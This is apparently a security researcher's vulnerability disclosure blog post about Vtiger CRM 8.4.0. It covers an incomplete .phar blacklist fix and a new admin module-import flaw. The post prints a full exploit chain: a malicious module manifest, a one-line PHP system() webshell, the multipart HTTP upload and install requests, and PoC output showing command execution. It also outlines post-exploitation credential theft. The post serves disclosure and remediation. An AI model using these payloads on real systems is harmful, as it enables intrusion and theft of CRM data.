This is Part 2 of a two-part series. In Part 1, I documented CVE-2026-23697 — a critical RCE chain in Vtiger CRM 8.3.0 that combined a .phar upload bypass, a silently broken Apache .htaccess, and directory listing to go from low-privilege user to shell. That chain depended on three independently defensible components failing together, and I ended the post with the assumption that at least some of them would be addressed in the next release.
Vtiger CRM 8.4.0 shipped. The .phar extension was added to config.template.php's upload blacklist, which does address the upload bypass at the core of CVE-2026-23697. But while reviewing how completely that fix landed, I found an incomplete propagation path in the installer that leaves a gap for fresh deployments — and, while I had a live 8.4.0 instance running, a completely separate vulnerability that is, in several respects, worse than the original.
This post covers two things: how 8.4.0 addressed CVE-2026-23697 and where the fix remains incomplete in the installer, and a new zero-day — an admin module import feature that plants a persistent, unauthenticated webshell — that I discovered while investigating the patch.
When I pulled the Vtiger 8.4.0 source and diffed it against 8.3.0, the first thing I checked was the upload blacklist. And there it was, in config.template.php:
$upload_badext = array('php', 'php3', 'php4', 'php5', 'pl', 'cgi', 'py', 'asp', 'cfm',
'js', 'vbs', 'html', 'htm', 'exe', 'bin', 'bat', 'sh', 'dll', 'phps', 'phtml',
'xhtml', 'rb', 'msi', 'jsp', 'shtml', 'sth', 'shtm', 'htaccess', 'phar');

config.template.php — .phar (and htaccess) now appear in $upload_badext.phar is now in the array. If this were the file that mattered, the story would end here. But config.template.php is a template. It is never loaded at runtime. It exists to be read by the installer and transformed into config.inc.php, which is the file that actually defines $upload_badext for the running application.
The question is not "does the template have phar?" The question is: "do the two code paths that generate or update config.inc.php propagate that addition?"
They do not.
When Vtiger is installed via the setup wizard, the createConfigFile() method never runs. Instead, getConfigFileContents() in modules/Install/models/ConfigFileUtils.php generates config.inc.php from a hardcoded PHP string. Here is line 209 of that method:
\$upload_badext = array('php', 'php3', 'php4', 'php5', 'pl', 'cgi', 'py', 'asp',
'cfm', 'js', 'vbs', 'html', 'htm', 'exe', 'bin', 'bat', 'sh', 'dll', 'phps',
'phtml', 'xhtml', 'rb', 'msi', 'jsp', 'shtml', 'sth', 'shtm');
Twenty-seven extensions. No phar. No htaccess either — that was added to config.template.php in an earlier release but never made it into getConfigFileContents().
Every fresh Vtiger 8.4.0 instance installed via the wizard ships with a config.inc.php that is missing both phar and htaccess from the blocklist — the fix in config.template.php was never propagated to the installer code path. This is an incomplete fix that Vtiger should address, and I cover the specific remediation below. The .phar block in config.template.php does prevent the upload bypass on instances where config.inc.php is generated from the template directly, but any deployment that generates its config through the wizard is running without the fix actually in effect.
The second path to config.inc.php is through upgrades. When an existing Vtiger installation is upgraded to a new version, migration scripts run in sequence: 810_to_820.php, 820_to_830.php, 830_to_840.php. Each script can modify config.inc.php directly.
The 810_to_820.php migration is the only one that touches the blacklist. It uses a regex to find the upload_badext array in config.inc.php and appends htaccess if it is not already present:
// START - Adding htaccess to upload_badext array in config file.
$fileName = 'config.inc.php';
if (file_exists($fileName)) {
$completeData = file_get_contents('config.inc.php');
$pattern = "/upload_badext\s*=+\s*array\(?...+\);/i";
if (preg_match($pattern, $completeData, $matches)) {
$arrayString = $matches[0];
$content = '/htaccess/i';
if (!preg_match($content, $arrayString)) {
$updateStringPattern = "/upload_badext\s*=+\s*array\(?...+'/i";
preg_match($updateStringPattern,$completeData,$matches);
$updatedContent = preg_replace($updateStringPattern, "$matches[0],'htaccess'", $completeData);
file_put_contents($fileName, $updatedContent);
}
}
}
Reasonable code. It adds htaccess. But the 820_to_830.php migration does not add phar. The 830_to_840.php migration does not add phar. No migration in the 8.x series adds phar to the blacklist.
An instance upgraded from 8.1.0 through 8.4.0 will have htaccess in its blocklist (from the 810-to-820 migration) but not phar. An instance upgraded from 8.3.0 to 8.4.0 will also lack phar. In other words, the config.template.php change never reaches the two dominant deployment paths — wizard installs and upgrades — even though it does take effect where config.inc.php is generated from the template directly.
I covered the storage/.htaccess problem extensively in Part 1: the deny from all directive is Apache 2.2 syntax, silently ignored on Apache 2.4 without mod_access_compat. In 8.4.0, this file is unchanged:
deny from all
<FilesMatch "\.(gif|jpe?g|png)$">
Order allow,deny
Allow from all
</FilesMatch>
Here is what makes this particularly frustrating. In the same 8.4.0 codebase, vendor/.htaccess uses the correct dual-syntax pattern:
# Apache 2.4
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
# Apache 2.2
<IfModule !mod_authz_core.c>
Order Deny,Allow
Deny from all
</IfModule>
And libraries/.htaccess uses it too:
# Apache 2.4
<IfModule mod_authz_core.c>
<Files ~ "^.*.(md|php|pem|p12)">
Require all denied
</Files>
</IfModule>
# Apache 2.2
<IfModule !mod_authz_core.c>
<Files ~ "^.*.(md|php|pem|p12)">
Order Allow,Deny
Deny from all
</Files>
</IfModule>
The developers know how to write Apache 2.4-compatible .htaccess files. They have done it correctly in two directories in the same release. They did not do it in storage/, which is the one directory where the consequence of getting it wrong is remote code execution.
The bundled Apache configuration at pkg/apache/conf/lin_httpd.conf still sets:
Options Indexes FollowSymLinks
No Options -Indexes directive exists anywhere in the Vtiger codebase. The /storage/ directory listing that enabled filename discovery in CVE-2026-23697 remains fully functional.
The .phar addition to config.template.php does address the upload bypass at the heart of CVE-2026-23697, and 8.4.0 should be treated as having patched that chain. However, the fix has two gaps worth noting: the installer's getConfigFileContents() was never updated to propagate the change, meaning fresh wizard installs may produce a config.inc.php without .phar in the blocklist; and the .htaccess syntax and directory listing issues remain open. These are defense-in-depth concerns that Vtiger should close, but they do not resurrect the Part 1 chain on their own — without the .phar upload bypass, the subsequent steps have nothing to execute.
I had already spun up a live 8.4.0 instance while doing this analysis, and I was not done looking.
Vtiger CRM has an extensible module architecture. Administrators can install third-party modules — custom CRM functionality, integrations, reporting tools — by uploading a .zip package through the Settings interface at Settings > ModuleManager > Import Module.
The feature is legitimate. CRM platforms need extensibility. The workflow is straightforward: an admin uploads a zip file, Vtiger parses a manifest.xml inside it to learn the module's name, version, and compatibility range, and then extracts the module's files into the modules/ directory where they become part of the running application.
This is a powerful feature. It installs arbitrary PHP code into the web root. The implicit trust model is: only administrators have access to this feature, and administrators are trusted to install legitimate modules. That trust model has a critical flaw, which I will get to. But first, the mechanism.

modules/.The module import flow spans two PHP files. The upload happens in Settings_ModuleManager_ModuleImport_View::importUserModuleStep2() in modules/Settings/ModuleManager/views/ModuleImport.php:
public function importUserModuleStep2(Vtiger_Request $request){
$viewer = $this->getViewer($request);
$uploadDir = Settings_ModuleManager_Extension_Model::getUploadDirectory();
$qualifiedModuleName = $request->getModule(false);
$uploadFile = 'usermodule_'.time().'.zip';
$uploadFileName = "$uploadDir/$uploadFile";
checkFileAccess($uploadDir);
if(!move_uploaded_file($_FILES['moduleZip']['tmp_name'], $uploadFileName)) {
$viewer->assign('MODULEIMPORT_FAILED', true);
}else{
$package = new Vtiger_Package();
$importModuleName = $package->getModuleNameFromZip($uploadFileName);
// ...
}
}
The zip file is saved to the upload directory. A Vtiger_Package instance parses the zip to extract the module name from manifest.xml. The validation at this stage checks:
manifest.xml in the zip?That is it. There is no check on what other files are in the zip. No check on file extensions. No check on file contents. No check on whether the zip contains PHP files, or how many, or what they do.
Installation happens in Settings_ModuleManager_Basic_Action::importUserModuleStep3() in modules/Settings/ModuleManager/actions/Basic.php:
public function importUserModuleStep3(Vtiger_Request $request) {
$importModuleName = $request->get('module_import_name');
$uploadFile = $request->get('module_import_file');
$uploadDir = Settings_ModuleManager_Extension_Model::getUploadDirectory();
$uploadFileName = "$uploadDir/$uploadFile";
checkFileAccess($uploadFileName);
$importType = $request->get('module_import_type');
if(strtolower($importType) == 'language') {
$package = new Vtiger_Language();
} else if(strtolower($importType) == 'layout') {
$package = new Vtiger_Layout();
} else {
$package = new Vtiger_Package();
}
$package->import($uploadFileName);
checkFileAccessForDeletion($uploadFileName);
unlink($uploadFileName);
$result = array('success'=>true, 'importModuleName'=> $importModuleName);
$response = new Vtiger_Response();
$response->setResult($result);
$response->emit();
}
$package->import($uploadFileName) extracts the zip and copies its contents into the application's modules/ directory. The zip is then deleted. The extracted files — including any PHP files — remain in modules/<ModuleName>/, which is inside the web root and directly accessible via HTTP.
The entire validation pipeline, from upload to extraction, checks the manifest and nothing else. A zip containing modules/Backdoor/shell.php with contents <?php system($_GET["cmd"]); ?> passes every check, as long as the manifest.xml is well-formed.
This is the part that elevates the finding from "admin can do admin things" to something structurally more concerning.
Vtiger CRM's authentication middleware — the session check, the CSRF validation, the role-based access control — only runs for requests that are routed through index.php. This is the standard PHP MVC pattern: all application requests hit index.php, which bootstraps the framework, validates the session, checks permissions, and dispatches to the appropriate controller.
But Apache does not know about Vtiger's MVC routing. When a request arrives for GET /modules/TestRCE/shell.php, Apache resolves it to a file on disk, sees that the PHP handler is configured for .php files, and hands it directly to the PHP interpreter. Vtiger's index.php is never involved. No session is checked. No CSRF token is validated. No role is inspected. The PHP file simply executes.
This is not a bypass of Vtiger's authentication. It is the architectural absence of authentication for any PHP file that can be reached by a direct path outside of index.php routing. For the standard Vtiger modules that ship with the application, this is not a problem — their PHP files are class definitions and libraries that do nothing useful when accessed directly. But a user-installed module that includes a standalone PHP file with executable code is reachable by anyone.
The shell planted by module import has no relationship to the admin session that created it. Once the module is installed:
modules/<Name>/ directory exists on disk, the shell works.This is not a session riding on someone else's credentials. It is a file on disk in the web root, accessible to any HTTP client on the network, with no access control of any kind between the request and PHP's system() call.

modules/<Name>/shell.php exists on disk, the shell answers, regardless of session or database state.The scope change in CVSS terminology is S:C — Changed. The vulnerable component is the admin interface (which requires admin credentials), but the impact extends beyond the admin interface's authorization scope. An admin-scoped action produces an artifact that is accessible without any authentication, to any network-reachable client, indefinitely.
Three HTTP requests after authentication. The full proof-of-concept is available on GitHub: JivaSecurity/VTIGER-CRM-RCE-CVE-2026-23698; the --mode module flag automates the full chain. Here is what it does.
A valid Vtiger module zip requires three files at minimum:
manifest.xml — the module descriptor:
<?xml version="1.0"?>
<module>
<name>ModRCASCF</name>
<label>ModRCASCF</label>
<parent>Tools</parent>
<version>1.0</version>
<type>module</type>
<dependencies>
<vtiger_version>8.0.0</vtiger_version>
<vtiger_max_version>8.5.0</vtiger_max_version>
</dependencies>
</module>
modules/ModRCASCF/shell.php — the payload:
<?php system($_GET["cmd"]); ?>
languages/en_us/ModRCASCF.php — the language file (required by the parser):
<?php $languageStrings = array("ModRCASCF" => "ModRCASCF"); ?>
The module name is random — the PoC generates a six-character random suffix. The manifest declares compatibility with Vtiger 8.0.0 through 8.5.0 to pass the version check. The shell is a single line of PHP. The language file is boilerplate.

manifest.xml plus modules/ModRCASCF/shell.php, which passes every validation check.After authenticating and extracting a CSRF token from the module import page, the PoC uploads the zip:
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----FormBoundary
------FormBoundary
Content-Disposition: form-data; name="__vtrftk"
sid:a3f8e1b2c4d6e8f0...,1710892800
------FormBoundary
Content-Disposition: form-data; name="module"
ModuleManager
------FormBoundary
Content-Disposition: form-data; name="parent"
Settings
------FormBoundary
Content-Disposition: form-data; name="view"
ModuleImport
------FormBoundary
Content-Disposition: form-data; name="mode"
importUserModuleStep2
------FormBoundary
Content-Disposition: form-data; name="moduleAction"
Import
------FormBoundary
Content-Disposition: form-data; name="acceptDisclaimer"
on
------FormBoundary
Content-Disposition: form-data; name="moduleZip"; filename="ModRCASCF.zip"
Content-Type: application/zip
[ZIP CONTENTS]
------FormBoundary--
The response is an HTML page containing hidden form fields with the server-side filename:
<input type="hidden" value="usermodule_1710892801.zip" />
<input type="hidden" value="ModRCASCF" />
<input type="hidden" value="module" />
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
__vtrftk=sid:a3f8e1b2c4d6e8f0...,1710892800
&module=ModuleManager
&parent=Settings
&action=Basic
&mode=importUserModuleStep3
&module_import_file=usermodule_1710892801.zip
&module_import_type=module
&module_import_name=ModRCASCF
Response:
{"success":true,"result":{"success":true,"importModuleName":"ModRCASCF"}}
The module is now installed. The zip has been extracted to modules/ModRCASCF/. The original zip has been deleted from the upload directory. The PHP file is on disk and ready.
GET /modules/ModRCASCF/shell.php?cmd=id HTTP/1.1
No Cookie header. No session. No CSRF token. A bare GET request from any HTTP client on the network.
Response:
uid=1000(www-data) gid=50(staff) groups=50(staff)

GET /modules/<Name>/shell.php?cmd=id returns uid=1000(www-data). No cookie, no session, no login.Running the Python PoC against the live 8.4.0 instance:
$ python3 vtiger-rce-001.py --host 192.168.3.9 --port 8008 --cmd 'id && hostname && uname -a'
[*] Target: http://192.168.3.9:8008 mode=module
[+] Authenticated
[+] Module uploaded: usermodule_1710892801.zip
[+] Module installed: ModRXKZPQ
[+] Shell (no auth required): http://192.168.3.9:8008/modules/ModRXKZPQ/shell.php?cmd=<command>
$ id && hostname && uname -a
uid=1000(www-data) gid=50(staff) groups=50(staff)
d770408c34d0
Linux d770408c34d0 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
From there: config.inc.php for database credentials, vtiger_users for API keys, full CRM compromise. Same post-exploitation path as Part 1, starting from a shell with no ongoing authentication requirement.
It is worth being precise about how this finding relates to CVE-2026-23697 from Part 1, because the two exploit chains share a target but almost nothing else.
CVE-2026-23697 requires any authenticated user with Documents access — a low privilege level. It depends on three environmental conditions: the missing .phar entry in the blacklist, the broken .htaccess on Apache 2.4, and directory listing for filename discovery. It is a chain where each link can independently be fixed to break the whole attack — and in 8.4.0, the first link was fixed.
CVE-2026-23698 requires admin credentials — a high privilege level. It depends on nothing else. No Apache misconfiguration, no blacklist gap, no directory listing. The module import feature extracts PHP files into the web root by design. The only question is whether an attacker has admin credentials.
But the shell that CVE-2026-23698 produces is architecturally different from the shell CVE-2026-23697 produces. The .phar shell in /storage/ sits behind the broken .htaccess — on an Apache 2.4 instance with mod_access_compat loaded, or on a properly configured server, that shell would be blocked. The module import shell in /modules/ has no .htaccess between it and the internet. It requires no Apache misconfiguration. It works on every Apache configuration, every PHP version, every Vtiger deployment topology.
| CVE-2026-23697 (Part 1) | CVE-2026-23698 (This Post) | |
|---|---|---|
| Auth to plant | Any Documents user (PR:L) | Admin only (PR:H) |
| Apache config dependency | Yes (needs broken .htaccess) | None |
| Shell after planting | Behind .htaccess (broken on 2.4 without compat) | Fully unauthenticated, no bypass needed |
| Works on fresh 8.4.0 install | No — .phar upload blocked in 8.4.0 (installer propagation gap remains; see remediation) | Yes, always |
| Persistence | Until file deleted | Until module directory deleted |
| Discoverability | Via directory listing (public) | Module name is attacker-chosen (not guessable) |
The higher privilege requirement is a genuine mitigating factor. Admin accounts are harder to compromise than standard user accounts. But "admin credentials" is not "physical access." Admin credentials can be obtained through credential stuffing, phishing, default credentials on new deployments (Vtiger ships with admin/admin), prior exploitation of other vulnerabilities, or insider threat. Once obtained, even briefly, the module import creates a backdoor that outlasts the admin access that planted it.
After confirming the module import vector, I looked for other admin features that might accept zip archives or install files into the web root.
The updateUserModuleStep3() method in the same Basic.php file handles layout updates. It uses Vtiger_Layout() instead of Vtiger_Package() but follows the same pattern: extract zip, install contents. I did not pursue a full PoC for layout import, but the code path is structurally identical. An attacker who can upload a module zip can likely also upload a layout zip with embedded PHP.
Language pack imports also go through the same handler and are dispatched to Vtiger_Language(). Language files are expected to be PHP files (they define $languageStrings arrays), so the extraction of PHP from a language zip is by design. The files land in languages/<locale>/ rather than modules/, but the same direct-access issue applies.
The ModuleExport action (Settings_ModuleManager_ModuleExport_Action) packages existing modules into zips for download. This is not an attack vector in itself, but it means an attacker with admin access could export a legitimate module, inject a shell into the zip, and reimport it. The round-trip is seamless.
I searched for any other mechanism that writes to the modules/ directory. Beyond the module import feature, Vtiger_Package::import() is the only path I found that extracts user-controlled content there. The module manager's create-new-module feature generates files from templates, not user uploads. No other file upload endpoint in Vtiger writes to modules/.
The module import is the singular path. But it is sufficient.
The most realistic scenario is an attacker who has already compromised an admin account through some other means — credential phishing, credential stuffing against the CRM login, exploiting a separate vulnerability (like CVE-2026-23697 on 8.3.0 to escalate from a low-privilege user to database access to admin credentials). The module import is not the initial access vector. It is the persistence mechanism.
An attacker who compromises an admin session for even a few minutes can install a module, obtain a permanent unauthenticated shell, and then abandon the admin session entirely. Even if the compromise is detected and the admin password is changed, the shell remains. Even if the admin account is disabled, the shell remains. The module import converts a temporary admin compromise into a permanent foothold that is decoupled from any CRM credential.
A CRM administrator — an employee, a contractor, a managed service provider — can plant a backdoor that survives their termination. When their accounts are disabled and their VPN access is revoked, the shell in modules/ is still there, reachable from whatever external network can reach the Vtiger instance.
Vtiger CRM ships with default admin credentials (admin/admin). The number of Vtiger instances on the internet running with default credentials is unknowable but non-trivial. For these instances, the "admin required" prerequisite is no prerequisite at all.
Every Vtiger CRM 8.x installation with an admin account. This is not limited to a specific version, a specific Apache configuration, or a specific deployment topology. The module import feature exists in all versions I reviewed. The lack of file content validation is consistent across the 8.x series. The direct-access issue is inherent to the architecture.
The specific instance I tested was Vtiger CRM 8.4.0, the latest available release at the time of this research.
www-data (or whatever user the PHP process runs as)./modules/ by default. The shell is not visible through the Vtiger admin interface unless someone knows to look in the filesystem. Vtiger does not log module import events to a security-specific log.config.inc.php, API keys in vtiger_users.accesskey, all customer data, all sales records, all support tickets, all email communications stored in the CRM.The CVSS score of 8.4 reflects the admin prerequisite. The S:C (Scope Changed) component captures the fact that the impact extends beyond the admin's authorization scope — the shell is accessible without any Vtiger credentials.
1. Validate module zip contents before extraction.
Before $package->import() is called, enumerate all files in the zip and reject the package if it contains files that are not in an allowlist of expected types. A legitimate Vtiger module contains:
manifest.xml.php files in modules/<Name>/ (class definitions, models, views, actions).tpl files in layouts/ (Smarty templates).js and .css files for frontend assets.php files in languages/ (language strings)The challenge is that PHP files are legitimate module contents. The validation must go deeper than extension checking:
2. Restrict PHP execution in user-installed module directories.
Add Apache configuration that prevents direct PHP execution for files within user-installed modules. This can be done via .htaccess in the modules/ directory or in the virtual host configuration:
# For user-installed modules, deny direct PHP execution
# Whitelist only vtiger's core modules
<DirectoryMatch "^/app/modules/(?!Accounts|Contacts|Leads|...)">
<FilesMatch "\.php$">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Deny from all
</IfModule>
</FilesMatch>
</DirectoryMatch>
This does not prevent module installation. It prevents the installed PHP from being directly accessible via HTTP. Module code would still execute when invoked through Vtiger's index.php routing (where authentication and authorization apply).
3. Require module package signatures.
Implement a cryptographic signature requirement for module packages. Only modules signed by Vtiger or by a key the administrator explicitly trusts should be installable. This is the model used by WordPress (plugin signing), Magento, and other extensible PHP platforms that have learned this lesson.
4. Log module installations to a security audit log.
Module import events should be logged with the installing user, the source filename, the extracted file list, and a hash of the zip contents. This does not prevent exploitation but enables detection.
5. Update ConfigFileUtils.php to include phar and htaccess in the generated blacklist.
The hardcoded $upload_badext string in getConfigFileContents() at line 209 must be updated. Every extension that appears in config.template.php must also appear here.
6. Add a migration script that patches config.inc.php to add phar.
Follow the same pattern used in 810_to_820.php for htaccess. A new migration (or an addition to 830_to_840.php) should regex-match the upload_badext array and append phar if absent.
7. Update storage/.htaccess to use the dual-syntax pattern.
Copy the exact pattern from vendor/.htaccess, which already exists in the same codebase and handles both Apache 2.2 and 2.4 correctly.
8. Disable directory listing.
Add Options -Indexes to the Apache configuration or to a root .htaccess file.
9. Move all user-uploaded files outside the web root.
Serve them through a PHP download handler that checks authentication and sets Content-Disposition: attachment. This eliminates the entire class of "uploaded file is directly executable" vulnerabilities, regardless of extension, MIME type, or .htaccess configuration.
I went looking for a patch. I found one — config.template.php now blocks .phar uploads, which addresses the primary bypass from CVE-2026-23697. But I also found that the fix was never propagated to the installer's getConfigFileContents() method, that the migration scripts never added .phar to existing deployments' config.inc.php, and that the .htaccess and directory listing issues from Part 1 remain unaddressed. The primary chain is thwarted; the supporting conditions that made it reliable are still present.
But the more significant finding was the one I was not looking for. The module import feature is a designed-in mechanism for installing arbitrary PHP into the web root, and the architectural gap between Vtiger's authentication boundary (which stops at index.php) and Apache's file serving (which does not care about Vtiger's authentication) means that any PHP file placed in modules/ by any means is permanently, unauthenticatedly executable. The admin prerequisite raises the bar, but it does not change the fundamental issue: a CRM platform should not provide a built-in feature that creates persistent unauthenticated shells.
The two findings together paint a picture of a codebase where security fixes are applied in the wrong layer. The blacklist update went into the template instead of the installer. The .htaccess fix was applied to vendor/ and libraries/ but not storage/. The module import feature was built without considering what happens when the installed files are accessed outside of the application's own routing. Each of these is a reasonable oversight in isolation. In aggregate, they represent a pattern of defense that exists on paper but not in practice.
One honest note on how this actually unfolded: the path from "let's check if 8.4.0 fixed the .phar issue" to "there is a zero-day in module import" was not a straight line. I spent time confirming that the config.template.php change was present, being briefly optimistic, then progressively more confused as I traced getConfigFileContents() and the migration scripts and realized the fix was not landing where it needed to. The module import discovery was a side effect of exploring what other admin features might be interesting while I had the 8.4.0 instance running. I was not looking for it. The most consequential finding of this research came from poking at a feature that was not on my target list, which is a useful reminder that the scope you set out to test and the scope of what is actually vulnerable are different things.
| Date | Event |
|---|---|
| 2026-03-21 | Both vulnerabilities discovered during independent security research |
| 2026-03-28 | Both findings (CVE-2026-23697 and CVE-2026-23698) reported to Vtiger by email at [email protected], per the vendor’s published security policy; no response |
| 2026-04-06 | CVE identifiers requested via VulnCheck |
| 2026-04-07 | CVE-2026-23698 assigned by VulnCheck (CVE-2026-23697 tracks the Part 1 chain) |
| 2026-04-08 | Follow-up email to Vtiger noting the CVE assignment and a 90-day disclosure deadline; no response |
| 2026-07-06 | Public disclosure, following the 90-day window with no vendor response |
This research was conducted independently, against a self-hosted Vtiger CRM instance used solely for security testing. No third-party or production systems were accessed. Both findings were reported to Vtiger on 2026-03-28 and again on 2026-04-08; with no response received within the 90-day disclosure window, they are published here in line with a standard coordinated-disclosure policy.
Jiva is an independent security researcher and the founder of Jiva Security. Part 1 of this series, covering CVE-2026-23697, is available here.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.